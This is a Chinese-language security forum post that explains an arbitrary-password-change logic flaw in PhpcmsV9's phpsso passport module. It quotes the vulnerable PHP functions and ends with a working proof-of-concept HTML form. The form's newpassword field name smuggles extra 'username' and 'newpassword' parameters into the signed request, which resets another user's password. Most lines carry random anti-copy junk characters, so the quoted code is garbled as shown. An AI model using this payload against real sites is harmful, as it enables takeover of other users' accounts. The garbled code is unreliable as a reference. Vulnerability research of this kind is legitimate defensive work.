找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2011|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:# P, X# _& \2 v

& i) O6 l# U9 `9 T& j( ]
' ~/ u) x3 I* l# A- @4 B3 o9 S6 jparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);' y. W' V$ a3 G5 R' B0 b
5 z( t/ @) s6 \  }
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。  a- I# h* B: m" m2 y* g

4 x: q4 x1 N! b% n+ f, ^7 w我把它留给了你们。
; b7 p2 p& S  r0 k# S! C不知道你们发现了它没有。7 D0 |6 v, {* y4 ]
) v; \3 l: q- s; a) H
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。7 k& W) e8 c$ N& U7 O

4 }- ?5 L6 b: q1 B3 e所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
& o1 B8 f3 t5 E0 c9 M# x3 j4 F
4 m9 L8 i( f4 l% |也就是
" f( i" j6 |& r1 R
" |2 O; M0 e; E3 g" rusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
( m! p' \! O& e) _) O0 ~
5 i  L5 N* u- P$ Q要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。9 m7 L! _' B5 G* P1 v
9 a3 }( }, q2 @

1 k1 o* N- p6 w" J其实我们有这样的机会,看看代码,如下:! Q2 R2 t; F+ e# d
: w2 f! W" L' Q2 g& I. v

7 n3 T/ a4 E% U0 N5 f5 b" Lpublic function auth_data($data) {
( w/ O3 m# p: M- q# d( B                $s = $sep = '';
+ S" u( a# G# K1 p. ?+ e                foreach($data as $k => $v) {3 T; d1 b) H* X5 \. j; o
                        if(is_array($v)) {7 i" G2 a2 v: G
                                $s2 = $sep2 = '';
/ i' f3 ]( L0 D' |( h$ }8 o1 S+ w                                foreach($v as $k2 => $v2) {
# g& W; o- E( r. q0 T9 C                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
/ F, b$ z) v, a) E# B                                        $sep2 = '&';
0 j5 N; D+ t" n2 ~                                }2 x. W0 M- j0 Z# F- C
                                $s .= $sep.$s2;/ M  m% k/ z+ n- r0 ^& K: h, c
                        } else {
, @% U1 N; s' N$ ^6 P                                $s .= "$sep$k=".$this->_ps_stripslashes($v);0 a) Z& W3 L* T. l
                        }  K" Z! t! c! k* {, b7 z% b
                        $sep = '&';$ A  s2 C' S9 q, b- R! R) E
                }
+ u- p+ J6 B# c+ a; Q! O. ^. i* H) x: M) |" D; P, k+ G5 |
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));( j  m! U5 k/ H* s
                return $auth_s;2 z2 |. f/ Y0 L* J1 l# j& o) o
        }* X) _& b, m+ ~* Z. q' d
# ^8 P+ p; D9 s" J
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。1 [3 H( @0 D1 W( u/ |
3 e, V3 z3 o% D) Q% p& B& k
举个例子
; m1 `# U  R# Y3 o- J2 l
! U1 ~8 y& L$ h$a[aaa=a&bbb] = 'a';6 y( f" Y* e$ A+ z# M* q

7 l2 w# S0 Z) {: V会变成aaa=a&bbb=a
1 p; g* i4 v2 h% w! Y
! N/ e$ t9 O) ^/ @0 o5 \* m- C& ]明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。  |( d. S  N" {* @4 a6 i: w
' J7 P5 I; U; A3 k; T" j! R4 l
这个时候,我们可以再去看一个函数。: I, C8 r$ F& s$ P
1 t8 K$ x# I/ b1 z, m( X
就在这个文件内:
# V/ d. ~) o' h; f  T# F$ g
% x* K* O$ Y5 Z0 k4 U- l! U- r" k* ~0 S: t
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
2 H. U& y9 X3 m" P$ j) L& s                if($email && !$this->_is_email($email)) {- J7 w! b, y' S" h* g
                        return -4;
$ V) u0 Y- g1 O3 g" c8 I: I0 O2 s& j                }: n9 [! R& i- d+ C' ]. k, w  y5 d, A# t
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
4 f3 T% C7 W1 E# \/ x: L! Z        }
* {' x2 W: M, v$ w
" }/ e2 m1 V: p: Z这是向通行证发了这样一个请求。- I6 g, d4 ~1 `( t2 f& H* u
9 T9 I% L, \+ z% d# H3 A
我们再跟到通信证代码里去看看,就会有所发现。5 l+ D5 J) Y/ a( I8 l- {

8 I; ~1 e6 C- z+ H$ v
$ \! G2 Z* R9 S& qpublic function edit() {0 {" p  t' h& i# v$ ^* l
//能省就省,太长了不是吗?
6 j" f: j" d# L: |; V  U: B
( S4 t4 n) |# G6 q( c/ }if($this->username) {
1 ]/ K- t" f! x, O, X//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。; C/ `7 l0 F+ B: v5 M
                                $res = $this->db->update($data, array('username'=>$this->username));
4 V0 X* K. r) {/ w5 q4 P, S& K                        } else {6 T, B" W1 N* q6 v* P+ v$ }$ H
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);# l8 Y  m, U. q# l
                                $res = $this->db->update($data, array('uid'=>$this->uid));
* X1 B0 c4 O! A0 u, {' W0 F                        }
9 g3 P/ W+ k% h& l
4 l, u  V0 r. H; H3 u+ i好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:# N7 E4 Z2 K& T9 ?) }& M

" ~% M' G4 M3 x* H4 _7 e5 qpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
% v( Q: H9 M# f" d) \+ w6 Q6 F) `. _% \1 K2 p' ?9 a
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。& _! k9 Q* T  N! k' @1 {
- ]/ b- k) j* D
我当然找到了:
! q2 E4 a# S) F2 ?8 f5 x$ Q/ J- M& ]phpcms9/phpcms/modules/member/index.php
  n! }3 Q0 W1 t) S% n& Z" e, G+ u2 S6 s
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);  t, M* S( R2 k5 X/ O- B9 K
  q3 t9 H) u: A  Q6 N8 t. ]
然后就没有然后了。
, u4 u8 }4 L- K
7 _% B$ C9 ]' E/ N; w<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">' i0 y$ e& W: `) L
                                <table width="100%" cellspacing="0" class="table_form">1 _2 M5 X# o/ y: ]* O0 |
                                        <tr>
, |7 ~) ]0 x( D5 d                                                <th width="80">邮箱:</th>        
3 J* e) n- F1 K. X& b# n  ?+ T                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
1 i2 j! V% L* l! s% T                                        </tr>6 A6 n# A& I& d. q9 x4 D) m
                                        <tr>% g5 }/ F2 z% L6 w8 C- f. u
                                                <th width="80">原密码:</th>        
# i: z: D- L5 Y7 v' p- o                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>3 S& O8 e8 f  M- R( v" o* ?
                                        </tr>5 A, d5 N/ Q2 f& [! W  M
                                        <tr>
/ `' z. p- G, f- p4 K6 c8 ]8 o                                                <th>新密码:</th>/ S9 `( @" u3 ]/ @7 P) i3 e
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
" x" r; W' ]$ z8 g* U, j                                        </tr>
4 w2 ^9 b! H' |9 [6 F                                        <th></th>
# ?' W% W9 s# l% d# ~( r, c                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>& ~) k# m, R# w7 t0 C) Q
                                        </tr>0 @- t' c- q+ W+ ^) l" I3 K
                                </table>9 _8 F& |6 n; V- g, d8 H5 O
4 g3 I. h* ]( E
                               
& ?+ i/ K1 _" J3 |3 Y                        </form>! I2 ?; W# \4 M- f/ `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表